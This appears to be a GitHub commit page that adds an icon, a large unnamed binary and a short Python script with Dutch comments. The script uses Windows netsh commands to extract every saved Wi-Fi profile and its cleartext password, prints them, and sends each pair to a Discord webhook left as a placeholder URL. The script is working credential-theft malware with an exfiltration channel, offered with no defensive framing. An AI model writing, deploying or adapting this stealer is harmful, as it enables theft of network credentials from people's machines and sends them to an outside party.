Skip to content

Commit 5139e69

Browse files
Add files via upload
1 parent 0fd1e3c commit 5139e69

File tree

3 files changed

+32
-0
lines changed

3 files changed

+32
-0
lines changed

icon.ico

195 KB
Binary file not shown.
9.35 MB
Binary file not shown.
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
import subprocess
2+
import sys
3+
import os.path
4+
import requests
5+
6+
# Voeg hier je Discord webhook URL toe (optioneel)
7+
WEBHOOK_URL = "YOUR_WEBHOOK"
8+
9+
def send_to_discord(wifi_name, password):
10+
data = {
11+
"content": f"WiFi Netwerk: {wifi_name}\nWachtwoord: {password}"
12+
}
13+
try:
14+
requests.post(WEBHOOK_URL, json=data)
15+
except Exception as e:
16+
print(f"Fout bij versturen naar Discord: {e}")
17+
18+
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
19+
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
20+
for i in profiles:
21+
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n')
22+
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
23+
try:
24+
password = results[0]
25+
print("{:<30}| {:<}".format(i, password))
26+
send_to_discord(i, password)
27+
except IndexError:
28+
print("{:<30}| {:<}".format(i, "Geen wachtwoord gevonden"))
29+
send_to_discord(i, "Geen wachtwoord gevonden")
30+
31+
output = ("{:<30}| {:<}".format(i, results[0]))
32+
input("")

0 commit comments

Comments
 (0)